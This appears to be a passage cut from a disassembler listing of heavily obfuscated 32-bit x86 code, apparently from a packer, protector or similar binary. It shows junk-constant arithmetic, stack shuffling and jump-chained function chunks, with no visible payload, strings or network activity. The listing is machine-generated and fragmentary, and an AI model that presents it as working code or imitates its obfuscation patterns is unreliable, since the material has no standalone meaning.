		shl	ebx, 2
		sub	ebx, 1
		sub	ebx, 2000048Bh
		add	edi, 70D85396h
		add	edi, ebx
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 594D7ADAh
		push	eax
		mov	eax, 46C23BFAh
		shr	eax, 8
		dec	eax
		sub	eax, 88D57028h
		xor	esi, eax
		pop	eax
		not	esi
		jmp	loc_59C20E
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59944E:				; CODE XREF: sub_59AD4D+Bj
					; sub_5AA2D1+54F8j
		sub	edi, 424A1BCBh
		jmp	loc_5A1F21
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599459:				; CODE XREF: sub_5992DA+9E0Cj
		and	eax, 415E0398h
		sub	eax, 6E194F8Bh
		push	esi
		push	eax
		jmp	loc_5A6B45
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_59946A:				; CODE XREF: sub_5A9EC5-CB76j
		add	esp, 4
		add	ch, al
		jmp	loc_5A1EAA
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599477:				; CODE XREF: sub_5AA2D1-6F5Bj
		pop	ecx
		sub	dh, al
		sub	dh, 0D0h
		jmp	loc_59D2A7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_599482:				; CODE XREF: sub_5992DA+16EE5j
		add	edi, ebx
		pop	ebx
		add	edi, esi
		sub	edi, 5B1309CAh
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	edi, 214A2770h
		sub	edi, eax
		add	edi, 214A2770h
		push	ebx
		mov	ebx, 1C515E11h
		add	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 1D7276ADh
		add	ebp, 0CE3665BCh
		add	ebx, ebp
		pop	ebp
		sub	edi, ebx
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_5A41A4
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5994C3:				; CODE XREF: sub_5AD243-6FB1j
		dec	eax
		jno	loc_5AB902
		dec	eax
		add	eax, 5BFF4F35h
		jmp	loc_5A3B6F
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF533


loc_5994D5:				; CODE XREF: sdfs____:0059C598j
					; sub_5AF533+Fj
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		pop	ebx
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ebx
		jmp	loc_59BF74
; END OF FUNCTION CHUNK	FOR sub_5AF533
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5994F7:				; CODE XREF: sub_5A809B-B47Fj
		xor	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		add	[esp-8+arg_4], ebx
		pop	ebx
		jmp	loc_5AC8BC
; END OF FUNCTION CHUNK	FOR sub_5A809B

; =============== S U B	R O U T	I N E =======================================



sub_599509	proc near		; CODE XREF: sub_59C979:loc_5A92B2j
					; sub_5992DA+1142Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 0059A2B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DBA3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059DD54 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E0A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAEDC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AB007 SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 2
		add	ecx, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	51C6h
		jmp	loc_59DBA3
sub_599509	endp

; ---------------------------------------------------------------------------


loc_599526:				; CODE XREF: sdfs____:005995E6j
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_5A1EC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_599535:				; CODE XREF: sub_5AD795-10BD6j
		mov	[esp+0], edx
		jmp	loc_5A5BF7
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59953D:				; CODE XREF: sub_5AA2D1+29B3j
		and	eax, edx
		mov	edx, [esp-18h+arg_14]
		add	esp, 4
		or	eax, eax
		jz	loc_59E642
		push	dword ptr [edi+28h]
		push	[esp-18h+arg_14]
		push	[esp-14h+arg_10]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, esp
		push	102Bh
		mov	[esp-10h+arg_C], ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp-10h+arg_C]
		jmp	sub_5AE40A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_599574	proc near		; DATA XREF: sdfs____:00598EE4o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		jmp	sub_599F50
sub_599574	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_599582:				; CODE XREF: sub_59C979+CD53j
		not	bh
		add	bh, 0EEh
		jmp	loc_599F29
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59958C:				; CODE XREF: sub_59A26C+5722j
					; sub_5AF294-5CDBj
		mov	ebp, edi
		pop	edi
		sub	ebp, edi
		pop	edi
		jmp	loc_5A9521
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_599597:				; CODE XREF: sdfs____:005AB046j
					; sub_5ADD33+FFDj
		sub	eax, 58F71C6Dh
		jmp	loc_5A6B51
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5995A1:				; CODE XREF: sub_5A477C-654Aj
					; sub_5AA810-6586j
		shl	edi, 4
		shl	edi, 7
		sub	edi, 509607FCh
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], eax
		jmp	loc_59E88F
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5995C2:				; CODE XREF: sub_5A18F6+8FFFj
		push	esp
		pop	edx
		push	edi
		mov	edi, 4865641Eh
		not	edi
		jmp	loc_5A09CB
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6636h
		mov	[esp], esi
		push	69FAh
		mov	[esp], esp
		push	ebp
		jmp	loc_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A96D8


loc_5995EB:				; CODE XREF: sub_5A96D8-9F2Bj
		mov	esi, 793B32FBh
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		neg	esi
		xor	esi, 793B32F8h
		add	ebp, esi
		pop	esi
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	esi
		push	4
		pop	esi
		jmp	loc_5ACA9E
; END OF FUNCTION CHUNK	FOR sub_5A96D8

; =============== S U B	R O U T	I N E =======================================



sub_59961A	proc near		; DATA XREF: sdfs____:00599004o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599A7B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A2AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C07C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DE8A SIZE 0000000B BYTES

		lodsd
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	ebp
		mov	ebp, 3C2054D1h
		sub	ebp, 0EEF8DCCEh
		mov	ecx, ebp
		pop	ebp
		push	30D0h
		mov	[esp+8+var_8], esi
		mov	esi, 22802845h
		push	ecx
		push	esi
		mov	esi, 6C406510h
		jmp	loc_59C07C
sub_59961A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_599649:				; CODE XREF: sub_5AA2D1+279Bj
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_599CCD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_599656:				; CODE XREF: sub_5AD84A+12B6j
		mov	esp, [esp+0]
		jmp	loc_5AE58B
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59965E:				; CODE XREF: sub_5AA2D1+5736j
		pop	ecx
		jmp	sub_5A5824
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_599664	proc near		; CODE XREF: sub_59C979+9EE8j

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= word ptr  4
arg_2		= word ptr  6
arg_6		= word ptr  0Ah

; FUNCTION CHUNK AT 0059BBB7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C8BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A88ED SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AA8FA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AB9E6 SIZE 0000000D BYTES

		push	bx
		push	small word ptr [esp+2]
		pop	bx
		jmp	loc_5AA8FA
sub_599664	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_599672:				; CODE XREF: sub_59EE3E:loc_5AAE97j
		dec	esi
		sub	esi, 11EF3B85h
		shl	esi, 4
		jmp	loc_599854
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9CAE


loc_599681:				; CODE XREF: sub_5A9CAE-5j
		mov	[esp+0], eax
		jmp	loc_5A16D5
; END OF FUNCTION CHUNK	FOR sub_5A9CAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_599689:				; CODE XREF: sub_59F2D1+810Ej
		pop	edx
		jmp	loc_59C9C6
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59968F:				; CODE XREF: sub_5A9EBF-58C2j
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		jmp	loc_59AF45
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59969C:				; CODE XREF: sub_5AA2D1+40F1j
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-14h+arg_10]
		pop	esp
		jmp	loc_5A66A4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5996B1:				; CODE XREF: sub_5A7BA0+8450j
		add	edx, ecx
		sub	edx, 383615C4h
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_5A6E0F
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5996C5:				; CODE XREF: sub_5992DA+325Dj
		mov	ax, word ptr [esp+0Ch+var_C]
		jmp	sub_5ABE0D
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5996CE:				; CODE XREF: sub_5A3E64+5CEFj
		pop	esp
		mov	[esp-4+arg_0], ecx
		mov	ch, dl
		jmp	loc_5AECD2
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5996D9:				; CODE XREF: sub_5992DA+10B46j
		sub	bl, dh
		mov	dx, word ptr [esp+0Ch+var_C]
		jmp	loc_5AD6BD
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5996E4	proc near		; CODE XREF: sub_5A63DC-2326j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005991F8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599D9C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059B840 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F715 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A28F1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4D20 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A56E6 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005A6B99 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A82D3 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A8B19 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8FD1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9614 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AB702 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AC1C6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AFA31 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_5AFA31
sub_5996E4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5996EC:				; CODE XREF: sub_5992DA+585Aj
		pop	esp
		and	eax, edx
		push	dword ptr [esp+0]
		pop	edx
		push	646Fh
		mov	[esp+0Ch+var_C], ebp
		push	0C86h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		push	4F07h
		mov	[esp+10h+var_10], edx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 6D4948h
		push	ebp
		mov	ebp, 2FD339D1h
		shr	ebp, 5
		inc	ebp
		inc	ebp
		shl	ebp, 7
		jmp	loc_5ADF08
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_599739	proc near		; DATA XREF: sdfs____:00598E60o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4

		push	small 4057h
		push	small 1165h
		mov	[esp+4+var_4], sp
		add	[esp+4+var_4], 2
		pop	small [esp+4+var_4]
		push	bx
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	723Ch
		mov	[esp+0Ch+var_C], esi
		mov	si, 6A01h
		mov	bp, 3669h
		inc	bp
		sub	bp, 7C6Eh
		not	bp
		xor	bp, 0D8FDh
		push	edi
		mov	di, 7C3Ah
		or	di, 2C34h
		not	di
		shr	di, 1
		shr	di, 8
		jmp	loc_5ACE00
sub_599739	endp

; ---------------------------------------------------------------------------


loc_599792:				; CODE XREF: sdfs____:005A9F15j
		popa
		jmp	locret_59DC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_599798:				; CODE XREF: sub_59EE3E+169Ej
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp+0]
		jmp	loc_5992C7
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_5997A8	proc near		; DATA XREF: sdfs____:00598FF0o

; FUNCTION CHUNK AT 0059EE2F SIZE 00000005 BYTES

		mov	sp, [esp+0]
		jmp	loc_59EE2F
sub_5997A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5997B1:				; CODE XREF: sub_59A7E7+D9F3j
		add	esp, 4
		push	ecx
		mov	ch, 46h
		push	ebx
		jmp	loc_59AA81
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5997BD:				; CODE XREF: sub_59FB1A-273Dj
		sub	cl, 93h
		jmp	loc_5AB825
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5997C5:				; CODE XREF: sub_5A9D64-9090j
		push	4
		jmp	loc_59D475
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5997CF:				; CODE XREF: sub_5AA2D1-1100Fj
		mov	eax, 3C6D144Bh
		and	eax, 75E51675h
		jmp	loc_5A9079
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5997DE:				; CODE XREF: sub_59D37E+Ej
		jmp	loc_59F499
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------


loc_5997E3:				; CODE XREF: sdfs____:005ACDB5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_59C272

; =============== S U B	R O U T	I N E =======================================



sub_5997FD	proc near		; CODE XREF: sub_59CBE1+A85Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B157 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B942 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E051 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8BC8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AE51F SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 2A8E4355h
		jmp	loc_59E051
sub_5997FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_59980D:				; CODE XREF: sub_5AD993-7C1Fj
		add	bh, 0EDh
		mov	ah, bh
		pop	ebx
		xor	ah, cl
		pop	ecx
		jmp	loc_5AECDC
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_59981B:				; CODE XREF: sub_599117+7D20j
		xor	ebx, 4221745h
		jbe	loc_5A53BD
		jmp	loc_5A9A9A
; END OF FUNCTION CHUNK	FOR sub_599117

; =============== S U B	R O U T	I N E =======================================



sub_59982C	proc near		; CODE XREF: sub_59BAD3+B632j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A030D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A0458 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A0E84 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1964 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5473 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005AEDE2 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_5A030D
sub_59982C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59983A:				; CODE XREF: sub_59D6B8+130Bj
		or	ecx, 1FCE5B53h
		push	ebx
		mov	ebx, 64BE32B9h
		shl	ebx, 8
		sub	ebx, 4B9469DAh
		jmp	loc_59BB9D
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_599854:				; CODE XREF: sub_59EE3E-57C2j
		jmp	loc_59B9B2
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_599859	proc near		; DATA XREF: sdfs____:00598F84o
		neg	dword ptr [esp+0]
		pushf
		jmp	loc_59910F
sub_599859	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_599862:				; CODE XREF: sub_5B0377-13F90j
		add	ebx, 0A6ECEE67h
		sub	edi, ebx
		pop	ebx
		xor	ecx, edi
		jmp	loc_59FDD2
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_599872:				; CODE XREF: sub_5AB207-B699j
		xchg	esi, [esp+0]
		jmp	loc_59DDE9
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_59987A:				; CODE XREF: sub_59FE51-5745j
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59FE51

; =============== S U B	R O U T	I N E =======================================



sub_599884	proc near		; CODE XREF: sub_59A9E9+1F71j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C836 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D79B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3B84 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AA736 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ABEC2 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005AE912 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AFCF4 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_59D79B
sub_599884	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_599892:				; CODE XREF: sub_5AD795+1830j
		push	esp
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59AD11
; END OF FUNCTION CHUNK	FOR sub_5AD795

; =============== S U B	R O U T	I N E =======================================



sub_5998AD	proc near		; DATA XREF: sdfs____:00598F80o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005999AB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059B36B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B6E8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059FEEE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A5533 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A5E1A SIZE 0000000D BYTES

		mov	ax, [esp+0]
		push	65B3h
		mov	[esp+4+var_4], edi
		push	38AEh
		mov	[esp+8+var_8], esp
		jmp	loc_59B36B
sub_5998AD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5998C6:				; CODE XREF: sub_5AA2D1-DB0Cj
		mov	eax, [esp-8+arg_4]
		push	ecx
		sub	esp, 4
		mov	[esp+0], esp
		jmp	loc_5A57B2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_5998D8:				; CODE XREF: sub_5AB08D+1Bj
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	eax
		jmp	loc_59E69E
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5998E4:				; CODE XREF: sub_59D6B8+51ADj
		inc	edi
		jmp	loc_5A5DC3
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5998EA:				; CODE XREF: sub_5AA2D1-39C8j
		sub	al, ch
		push	dword ptr [esp+0]
		jmp	loc_5A6587
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5998F4:				; CODE XREF: sub_5A7BA0-5BF8j
		mov	esp, [esp+0]
		dec	word ptr [esp+0]
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE7B8


loc_599901:				; CODE XREF: sub_5AE7B8-13C5Bj
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_5A3F63
; END OF FUNCTION CHUNK	FOR sub_5AE7B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59990C:				; CODE XREF: sub_5992DA+CF35j
		inc	ebx
		push	ecx
		mov	ecx, 454F318Eh
		and	ebx, ecx
		pop	ecx
		shr	ebx, 5
		xor	ebx, 0FFDDB67Fh
		sub	[edi+24h], ebx
		push	[esp+18h+var_18]
		pop	ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_59993B	proc near		; CODE XREF: sub_59FC02+877Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A756 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059C2DB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059DE0D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A3A64 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A525C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A5436 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A561F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A60CC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8A8E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9932 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005B038C SIZE 00000015 BYTES

		push	ebx
		push	eax
		push	ecx
		mov	ecx, 0FF25AFAh
		push	esi
		mov	esi, 77F93ECAh
		shr	esi, 8
		xor	esi, 6BF33A33h
		jmp	loc_5B038C
sub_59993B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_599957:				; CODE XREF: sub_59F074-1482j
		xor	[esp+0], eax
		jmp	loc_59A9BC
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59995F:				; CODE XREF: sub_5AA2D1+AC1j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59B5E8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_59996C:				; CODE XREF: sub_5AB08D-923Dj
					; sdfs____:005A8F26j
		sub	ebp, 32F4380Fh
		add	ebp, ebx
		add	ebp, 32F4380Fh
		pop	ebx
		add	ebp, esi
		sub	ebp, 3BA4089Dh
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_59A890
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------


loc_59998E:				; CODE XREF: sdfs____:005AB3A1j
		add	ebx, 4
		jmp	loc_5A1BD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_599999:				; CODE XREF: sub_59EE3E:loc_5A701Bj
		neg	edx
		jmp	loc_5A8766
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE4A9


loc_5999A0:				; CODE XREF: sub_5AE4A9-5D5Ej
		add	ebp, 4
		jmp	loc_5A15AA
; END OF FUNCTION CHUNK	FOR sub_5AE4A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5998AD


loc_5999AB:				; CODE XREF: sub_5998AD+1AC5j
		mov	edi, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		jmp	loc_5A5E1A
; END OF FUNCTION CHUNK	FOR sub_5998AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5999C3:				; CODE XREF: sub_5AF2D9-14902j
		mov	ebx, 31356F47h
		xchg	edx, ebx
		not	edx
		push	ebx
		push	edx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		pop	edx
		neg	ebx
		jnz	loc_5A9B64
		dec	ebx
		jno	loc_59FFF2
		jz	loc_5ABC8A
		mov	ah, ch


